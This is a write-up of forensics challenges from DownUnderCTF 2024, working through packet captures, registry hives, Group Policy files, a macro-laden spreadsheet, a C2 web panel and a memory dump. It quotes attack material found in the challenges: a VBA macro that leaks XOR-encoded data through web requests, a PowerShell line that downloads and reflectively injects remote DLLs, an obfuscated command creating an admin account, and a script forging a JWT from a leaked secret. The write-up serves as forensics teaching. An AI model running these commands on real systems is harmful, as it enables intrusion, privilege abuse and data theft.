Post

DownUnderCTF 2024 - Writeups

This is a writeup for all forensics challenges from DownUnderCTF 2024. Overall, an extremely enjoyable CTF with great challenges and a mesmerizing theme using cute imagery. This was also my first time playing at a local bar with my friends to solve challenges together and have fun.

Baby’s First Forensics [Forensics]

Question: They’ve been trying to breach our infrastructure all morning! They’re trying to get more info on our covert kangaroos! We need your help, we’ve captured some traffic of them attacking us, can you tell us what tool they were using and its version?

Flag: DUCTF{Nikto_2.1.6}

We are given a PCAP file to investigate. Analyzing the TCP stream, the scanning tool can be easily identified on the User-Agent header.

flag1

SAM I AM [Forensics]

Question: The attacker managed to gain Domain Admin on our rebels Domain Controller! Looks like they managed to log on with an account using WMI and dumped some files. Can you reproduce how they got the Administrator’s Password with the artifacts provided?

Flag: DUCTF{!checkerboard1}

We are given a SAM and SYSTEM registry hive to investigate. Reading the description, we have to reproduce the method of obtaining the Administrator’s password with the registry hives. One easy way to do this is by using secretsdump.py from Impacket, as it utilizing both SAM and SYSTEM registry hives.

1
2
3
4
5
6
7
8
└─$ impacket-secretsdump -sam sam.bak -system system.bak LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0xa88f47504785ba029e8fa532c4c9e27b
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...

flag2

Bad Policies [Forensics]

Question: Looks like the attacker managed to access the rebels Domain Controller. Can you figure out how they got access after pulling these artifacts from one of our Outpost machines?

Flag: DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}

We are given an archive containing several GPOs to investigate.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
└─$ tree rebels.ductf                                                                          
rebels.ductf
├── DfsrPrivate
├── Policies
│   ├── {31B2F340-016D-11D2-945F-00C04FB984F9}
│   │   ├── GPT.INI
│   │   ├── MACHINE
│   │   │   ├── Applications
│   │   │   ├── Microsoft
│   │   │   │   └── Windows NT
│   │   │   │       └── SecEdit
│   │   │   │           └── GptTmpl.inf
│   │   │   ├── Registry.pol
│   │   │   ├── Scripts
│   │   │   │   ├── Shutdown
│   │   │   │   └── Startup
│   │   │   └── comment.cmtx
│   │   └── USER
│   ├── {3EF191ED-9090-44C9-B436-C2766F6F0156}
│   │   ├── GPT.INI
│   │   ├── Machine
│   │   │   ├── Registry.pol
│   │   │   └── comment.cmtx
│   │   └── User
│   ├── {6AC1786C-016F-11D2-945F-00C04fB984F9}
│   │   ├── GPT.INI
│   │   ├── MACHINE
│   │   │   └── Microsoft
│   │   │       └── Windows NT
│   │   │           └── SecEdit
│   │   │               └── GptTmpl.inf
│   │   └── USER
│   ├── {B6EF39A3-E84F-4C1D-A032-00F042BE99B5}
│   │   ├── GPT.INI
│   │   ├── Machine
│   │   │   └── Preferences
│   │   │       └── Groups
│   │   │           └── Groups.xml
│   │   └── User
│   └── {EFF21FC3-F476-4AE0-9DDC-07BE32C98CE4}
│       ├── GPT.INI
│       ├── Machine
│       │   ├── Microsoft
│       │   │   └── Windows NT
│       │   │       └── SecEdit
│       │   │           └── GptTmpl.inf
│       │   └── Scripts
│       │       ├── Shutdown
│       │       └── Startup
│       └── User
│           ├── Documents & Settings
│           └── Scripts
│               ├── Logoff
│               └── Logon
└── scripts

41 directories, 13 files

Since the challenge was something related to “bad policies”, we can look into the Groups.xml file buried in the archive for the encrypted password stored within the file (specifically the cpassword field).

1
2
3
4
└─$ cat ./rebels.ductf/Policies/\{B6EF39A3-E84F-4C1D-A032-00F042BE99B5\}/Machine/Preferences/Groups/Groups.xml 
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Backup" image="2" changed="2024-06-12 14:26:50" uid="{CE475804-94EA-4C12-8B2E-2B3FFF1A05C4}"><Properties action="U" newName="" fullName="" description="" cpassword="B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="Backup"/></User>
</Groups>

The encrypted password is encrypted with AES using a 32-bit key that is publicly available online. Hence, this password can be easily cracked using tools such as gpp-decrypt.

1
2
└─$ gpp-decrypt "B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2"
DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}

Macro Magic [Forensics]

Question: We managed to pull this excel spreadsheet artifact from one of our Outpost machines. Its got something sus happening under the hood. After opening we found and captured some suspicious traffic on our network. Can you find out what this traffic is and find the flag! Note: You do not need to run or enable the macro so solve.

Flag: DUCTF{M4d3_W1th_AI_by_M0nk3ys}

We are given a PCAP and XLSM file to investigate. Analyzing the PCAP first, there seems to be several HTTP requests made to random URLs. However, some of them seem to be hex values or some sorts.

http

Analyzing the XLSM file, a macro can be obtained.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ python .\oledump.py C:\Users\warlocksmurf\DUCTF2024\macromagic\Monke.xlsm
C:\Users\warlocksmurf\Desktop\Tools\oledump.py:187: SyntaxWarning: invalid escape sequence '\D'
  manual = '''
A: xl/vbaProject.bin
 A1:       515 'PROJECT'
 A2:       107 'PROJECTwm'
 A3: M   24526 'VBA/Module1'
 A4: m    1158 'VBA/Sheet1'
 A5: m     985 'VBA/Sheet2'
 A6: m    1158 'VBA/ThisWorkbook'
 A7:      4438 'VBA/_VBA_PROJECT'
 A8:      3276 'VBA/__SRP_0'
 A9:       239 'VBA/__SRP_1'
A10:       434 'VBA/__SRP_2'
A11:      3988 'VBA/__SRP_3'
A12:       384 'VBA/__SRP_4'
A13:        66 'VBA/__SRP_5'
A14:       276 'VBA/__SRP_6'
A15:        66 'VBA/__SRP_7'
A16:       602 'VBA/dir'

Dumping the macro, there seems to be several functions and variables initialized within it with bogus text between them. Removing the bogus text, we get this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
Attribute VB_Name = "Module1"

Public Function anotherThing(B As String, C As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(B)
        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
    Next I
    anotherThing = A
End Function

Public Function importantThing()
    Dim tempString As String
    Dim tempInteger As Integer
    Dim I As Integer
    Dim J As Integer
    For I = 1 To 5
        Cells(I, 2).Value = WorksheetFunction.RandBetween(0, 1000)
    Next I
    For I = 1 To 5
        For J = I + 1 To 5
            If Cells(J, 2).Value < Cells(I, 2).Value Then
                tempString = Cells(I, 1).Value
                Cells(I, 1).Value = Cells(J, 1).Value
                Cells(J, 1).Value = tempString
                tempInteger = Cells(I, 2).Value
                Cells(I, 2).Value = Cells(J, 2).Value
                Cells(J, 2).Value = tempInteger
            End If
        Next J
    Next I
End Function

Public Function totalyFine(A As String) As String
    Dim B As String
    B = Replace(A, " ", "-")
    totalyFine = B
End Function

Sub macro1()
    Dim Path As String
    Dim wb As Workbook
    Dim A As String
    Dim B As String
    Dim C As String
    Dim D As String
    Dim E As String
    Dim F As String
    Dim G As String
    Dim H As String
    Dim J As String
    Dim K As String
    Dim L As String
    Dim M As String
    Dim N As String
    Dim O As String
    Dim P As String
    Dim Q As String
    Dim R As String
    Dim S As String
    Dim T As String
    Dim U As String
    Dim V As String
    Dim W As String
    Dim X As String
    Dim Y As String
    Dim Z As String
    Dim I As Long
    N = importantThing()
    K = "Yes"
    S = "Mon"
    U = forensics(K)
    V = totalyFine(U)
    D = "Ma"
    J = "https://play.duc.tf/" + V
    superThing (J)
    J = "http://flag.com/"
    superThing (J)
    G = "key"
    J = "http://play.duc.tf/"
    superThing (J)
    J = "http://en.wikipedia.org/wiki/Emu_War"
    superThing (J)
    N = importantThing()
    Path = ThisWorkbook.Path & "\flag.xlsx"
    Set wb = Workbooks.Open(Path)
    Dim valueA1 As Variant
    valueA1 = wb.Sheets(1).Range("A1").Value
    MsgBox valueA1
    wb.Close SaveChanges:=False
    F = "gic"
    N = importantThing()
    Q = "Flag: " & valueA1
    H = "Try Harder"
    U = forensics(H)
    V = totalyFine(U)
    J = "http://downunderctf.com/" + V
    superThing (J)
    W = S + G + D + F
    O = doThing(Q, W)
    M = anotherThing(O, W)
    A = something(O)
    Z = forensics(O)
    N = importantThing()
    P = "Pterodactyl"
    U = forensics(P)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V
    superThing (J)
    T = totalyFine(Z)
    MsgBox T
    J = "http://downunderctf.com/" + T
    superThing (J)
    N = importantThing()
    E = "Forensics"
    U = forensics(E)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V
    superThing (J)
    
End Sub

Public Function doThing(B As String, C As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(B)
        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
    Next I
    doThing = A
End Function

Public Function superThing(ByVal A As String) As String
    With CreateObject("MSXML2.ServerXMLHTTP.6.0")
        .Open "GET", A, False
        .Send
        superThing = StrConv(.responseBody, vbUnicode)
    End With
End Function

Public Function something(B As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(inputText)
        A = A & WorksheetFunction.Dec2Bin(Asc(Mid(B, I, 1)))
    Next I
    something = A
End Function

Public Function forensics(B As String) As String
    Dim A() As Byte
    Dim I As Integer
    Dim C As String
    A = StrConv(B, vbFromUnicode)
    For I = LBound(A) To UBound(A)
        C = C & CStr(A(I)) & " "
    Next I
    C = Trim(C)
    forensics = C
End Function

The macro may seem complex at first, but it is actually very easy to understand. The explanations for each functions:

  1. anotherThing() - This function basically just performs XOR on two strings.
  2. importantThing() - This function generates random numbers and sorts them.
  3. totalyFine() - This function modifies a string by replacing spaces with hyphens.
  4. superThing() - This function sends a GET request and returns the response.
  5. something() - This function converts each character of a string to its binary representation.
  6. forensics() - This function converts a string to its byte representation with spaces.

Just by looking at the functions, it was obvious that the macro was probably XORing a byte/binary string with a key string. To simplify the macro even further, my teammate @MinatoTW rewrote the macro into Python instead while removing the useless functions and variables.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
def doThing(b: str, c: str) -> str:
    a = ""
    for i in range(len(b)):
        a += chr(ord(b[i]) ^ ord(c[i % len(c)]))
    return a


def forensics(b: str) -> str:
    a = b.encode("utf-8")
    c = " ".join(str(byte) for byte in a)
    return c


def totalyFine(b: str):
    return b.replace(" ", "-")


def something(b: str) -> str:
    a = ""
    for char in b:
        a += format(ord(char), "08b")
    return a


def anotherThing(b: str, c: str) -> str:
    a = ""
    for i in range(len(b)):
        a += chr(ord(b[i]) ^ ord(c[i % len(c)]))
    return a


K = "Yes"
S = "Mon"
U = forensics(K)
V = totalyFine(U)
D = "Ma"
J = "https://play.duc.tf/" + V
print(J)

G = "key"
F = "gic"
# N = importantThing()
Q = "Flag: No"
H = "Try Harder"

U = forensics(H)
V = totalyFine(U)
J = "http://downunderctf.com/" + V
print(J)

W = S + G + D + F
O = doThing(Q, W)
M = anotherThing(O, W)
A = something(O)
Z = forensics(O)
P = "Pterodactyl"
U = forensics(P)
V = totalyFine(U)
J = "http://play.duc.tf/" + V
print(J)

T = totalyFine(Z)
J = "http://downunderctf.com/" + T
print(J)

Looking at the code, we can identify variable W to be the XOR key MonkeyMagic. We can also see the macro taking the converted byte strings as URLs for the GET requests. Since we have the XOR key now, a simple script can decode each URL identified in the PCAP previously, with the longest one being the flag.

1
2
3
4
5
6
7
8
9
10
11
12
def decode(encoded, key):
    decoded = ""
    key_len = len(key)
    for i in range(len(encoded)):
        decoded += chr(encoded[i] ^ ord(key[(i) % key_len]))
    return decoded

flag = [11, 3, 15, 12, 95, 89, 9, 52, 36, 61, 37, 54, 34, 90, 15, 86, 38, 26, 80, 19, 1, 60, 12, 38, 49, 9, 28, 38, 0, 81, 9, 2, 80, 52, 28, 19]
key = "MonkeyMagic"

decoded_message = decode(flag, key)
print(decoded_message)

emuc2 [Forensics]

Question: As all good nation states, we have our own malware and C2 for offensive operations. But someone has got the source code and is using it against us! Here’s a capture of traffic we found on one of our laptops…

Flag: DUCTF{pǝʇɔǝɟuᴉ_sᴉ_ǝlᴉɟ_dᴉz_ǝɥʇ_oʇ_pɹoʍssɐd_ǝɥʇ}

We are given a PCAP and a SSLKEYLOGFILE to investigate. Inside the PCAP were several TLS packets, so we have to use the SSLKEYLOGFILE to decrypt them.

tls

Decrypting the TLS packets shows several HTTP2 packets. Analyzing the stream, we can see a login page on forensics-emuc2-b6abd8652aa4.2024.ductf.dev which can be accessed online. However, we have no permission to access the flag page even with the right credentials. Looking at the TCP stream, we can see a JWT token being generated. Hence, the only way to bypass this permission check was to forge our own JWT token.

login

Going further into the HTTP2 stream, stream 23 shows a URL path /api/env which stores uploaded files in the website.

files

Going through the files one by one, the file T4yLN35GKLhxTgaykWxdgROCAwIBE3FO had a JWT_SECRET stored statically in it.

jwt

With the secret, we can finally forge our own JWT token to bypass the permission check.

1
2
3
4
5
6
7
import jwt

data = {"subject_id": 1, "exp": 1920187883}
JWT_SECRET = "3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi"

encoded = jwt.encode(data, JWT_SECRET, algorithm="HS512")
print(encoded)
1
2
└─$ python script.py 
eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJzdWJqZWN0X2lkIjoxLCJleHAiOjE5MjAxODc4ODN9.6_Al8k0dDcd86Mza6fuhaTfu08RHZQ4QtDspXJCpnYYI_9cWWGIGUMnXD7zqQBTQaV1F8WxAYZhx5KG16yCVhA

Replacing the JWT token, the permission check was succesfully bypassed and the flag can be obtained.

token

Lost in Memory [Forensics]

Question: Looks like one of our Emu soldiers ran something on an Outpost machine and now it’s doing strange things. We took a memory dump as a precaution. Can you tell us whats going on?

  1. What was the name of the malicious executable? eg malicious.xlsm
  2. What was the name of the powershell module used? eg invoke-mimikatz
  3. What were the names of the two files executed from the malicious executable (In alphabetical order with - in between and no spaces)? eg malware.exe-malware2.exe
  4. What was the password of the new account created through powershell? eg strong-password123

Flag: DUCTF{monkey.doc.ps1_invoke-reflectivepeinjection_emu.dll-kiwi.dll_5up3r-5ecur3}

We are given a memory dump to investigate. Analyzing the process tree, the notepad stands out the most as it should not be executing hidden powershell commands.

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ python3 vol.py -f ~/Desktop/shared/DUCTF2024/EMU-OUTPOST/EMU-OUTPOST.raw windows.pstree
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished                        
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime        Audit   Cmd     Path

---SNIP---

* 4044  3176    notepad.exe     0x8439a030      3       78      1       False   2024-06-18 10:00:15.000000      N/A     \Device\HarddiskVolume1\Windows\System32\notepad.exe    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\emu\Desktop\Monke\Monke.xlsm     C:\Windows\system32\NOTEPAD.EXE
* 1136  3176    powershell.exe  0x8449c528      17      432     1       False   2024-06-18 10:01:08.000000      N/A     \Device\HarddiskVolume1\Windows\System32\WindowsPowerShell\v1.0\powershell.exe  "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"         C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
** 2520 1136    powershell.exe  0x8452f600      11      306     1       False   2024-06-18 10:01:35.000000      N/A     \Device\HarddiskVolume1\Windows\System32\WindowsPowerShell\v1.0\powershell.exe  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile   C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
** 3268 1136    powershell.exe  0x85e1f788      11      309     1       False   2024-06-18 10:01:34.000000      N/A     \Device\HarddiskVolume1\Windows\System32\WindowsPowerShell\v1.0\powershell.exe  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile   C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
* 3284  3176    vmtoolsd.exe    0x85aa4d20      9       189     1       False   2024-06-18 09:59:52.000000      N/A     \Device\HarddiskVolume1\Program Files\VMware\VMware Tools\vmtoolsd.exe  "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr        C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
3048    4068    notepad.exe     0x8453e030      5       78      1       False   2024-06-18 10:01:20.000000      N/A     \Device\HarddiskVolume1\Windows\System32\notepad.exe    "C:\Windows\System32\notepad.exe" "C:\Users\emu\Downloads\monkey.doc.ps1"   C:\Windows\System32\notepad.exe

Checking the cmdline, we can identify two suspicious files being executed by notepad: Monke.xlsm and monkey.doc.ps1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ python3 vol.py -f ~/Desktop/shared/DUCTF2024/EMU-OUTPOST/EMU-OUTPOST.raw windows.cmdline
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished                        
PID     Process Args

---SNIP---

4044    notepad.exe     "C:\Windows\system32\NOTEPAD.EXE" C:\Users\emu\Desktop\Monke\Monke.xlsm
2052    svchost.exe     C:\Windows\System32\svchost.exe -k WerSvcGroup
372     iexplore.exe    "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3620 CREDAT:857350 /prefetch:2
1136    powershell.exe  "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" 
2560    conhost.exe     \??\C:\Windows\system32\conhost.exe "158028775362525928-990426691-456752985-958521227-13089283931015300999189980646
1248    WmiApSrv.exe    C:\Windows\system32\wbem\WmiApSrv.exe
3048    notepad.exe     "C:\Windows\System32\notepad.exe" "C:\Users\emu\Downloads\monkey.doc.ps1"
3268    powershell.exe  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
2944    conhost.exe     \??\C:\Windows\system32\conhost.exe "1789489410-51719259775076617-1207472118-1649521804-404101244-362719145-758039027
2520    powershell.exe  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
2552    conhost.exe     \??\C:\Windows\system32\conhost.exe "1344791619-1361883018-12111257381643950101725301424-9951069711014918624-1836326700
2720    DumpIt.exe      "C:\Users\emu\Desktop\DumpIt.exe" 
3996    conhost.exe     \??\C:\Windows\system32\conhost.exe "1830888485-802060661-11601734412110507355-1376939537-182472773412174042161677647333

However, only monkey.doc.ps1 could be succesfully dumped. The content of monkey.doc.ps1 shows a suspicious powershell command that downloads and executes two malicious executables emu.dll and kiwi.dll with powershell module Invoke-ReflectivePEInjection. This suggests that the whole attack scenario was related to reflective DLL injection.

1
Start-Job -ScriptBlock {iex (New-Object net.webclient).Downloadstring('http://192.168.57.166/reflective/reflect.ps1'); Invoke-ReflectivePEInjection -PEUrl http://192.168.57.166/documents/emu.dll};Start-Job -ScriptBlock {iex (New-Object net.webclient).Downloadstring('http://192.168.57.166/reflective/reflect.ps1'); Invoke-ReflectivePEInjection -PEUrl http://192.168.57.166/documents/kiwi.dll}

To double confirm that monkey.doc.ps1 was the malicious executable responsible for all this, we can use the consoles plugin from vol2 as it provides a more verbose view on each commands.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
└─$ python2 vol.py -f ~/Desktop/shared/DUCTF2024/EMU-OUTPOST/EMU-OUTPOST.raw --profile=Win7SP1x86_23418 consoles
Volatility Foundation Volatility Framework 2.6.1

--- SNIP ---

**************************************************
ConsoleProcess: conhost.exe Pid: 2560
Console: 0x7881c0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: Windows PowerShell
Title: Administrator: Windows PowerShell
AttachedProcess: powershell.exe Pid: 1136 Handle: 0x58
----
CommandHistory: 0x306550 Application: powershell.exe Flags: Allocated, Reset
CommandCount: 3 LastAdded: 2 LastDisplayed: 2
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x58
Cmd #0 at 0x2e2c38: cd C:\Users\emu\Downloads
Cmd #1 at 0x2e2358: .\monkey.doc.ps1
Cmd #2 at 0x304588: r
----
Screen 0x2e68f0 X:120 Y:3000
Dump:
Windows PowerShell                                                                                                      
Copyright (C) 2009 Microsoft Corporation. All rights reserved.                                                          
                                                                                                                        
PS C:\Windows\system32> cd C:\Users\emu\Downloads                                                                       
PS C:\Users\emu\Downloads> .\monkey.doc.ps1                                                                             
                                                                                                                        
Security Warning                                                                                                        
Run only scripts that you trust. While scripts from the Internet can be useful, this script can potentially harm your   
computer. Do you want to run C:\Users\emu\Downloads\monkey.doc.ps1?                                                     
[D] Do not run  [R] Run once  [S] Suspend  [?] Help (default is "D"): r                                                 
                                                                                                                        
Id              Name            State      HasMoreData     Location             Command                                 
--              ----            -----      -----------     --------             -------                                 
1               Job1            Running    True            localhost            iex (New-Object net.we...               
3               Job3            Running    True            localhost            iex (New-Object net.we...               
                                                                                                                        
                                                                                                                        
PS C:\Users\emu\Downloads>
                                                                                          
--- SNIP ---

The output shows monkey.doc.ps1 being executed directly via powershell, thus proving that the malicious executable was indeed the culprit. Attempting to gather more information on the attack, the notepad process can also be dumped and analyzed to potentially find other powershell commands that might be injected within it. Here, an obfuscated powershell command can be identified.

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ strings pid.4044.dmp | grep "powershell"          
powershell.exe
powershell/
powershell.exe
powershell.exe
powershell.exe
powershell/
ly loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
ly loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
powershell $PKjAU=  ") )'dd'+'a/ n'+'i'+'mda'+' sro'+'t'+'artsinimda'+' p'+'uorglacol'+' te'+'n;d'+'d'+'a/ 3r'+'uce5-r3'+'pu'+'5'+' nimda resu '+'te'+'n'(( )'x'+]31[dIlLehs$+]1[diLLehs$ (."; .( $Env:CoMsPeC[4,24,25]-JOIn'')(-join (  gi  vaRiaBlE:pKjAU).valUe[-1 .. - ( (  gi  vaRiaBlE:pKjAU).valUe.leNgth) ] )
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.

--- SNIP ---

Deobfuscating it, the new user’s password can be obtained as 5up3r-5ecur3.

code

Attack Chain

One of the authors mentioned that every forensics challenge was related to a full attack chain:

Monke.xlsm was the malware from ‘Macro Magic’ which exfiltrated data, monkey.doc.ps1 from ‘Lost in Memory’ was the initial compromise of the machine. The attacker then got a reverse shell and dumped the group policy. The group policy gave them the backup account password which allowed them to WMI onto the DC and extract the SAM and SYSTEM hives. Hence, they obtained the administrator via cracking the hash.

This post is licensed under CC BY 4.0 by the author.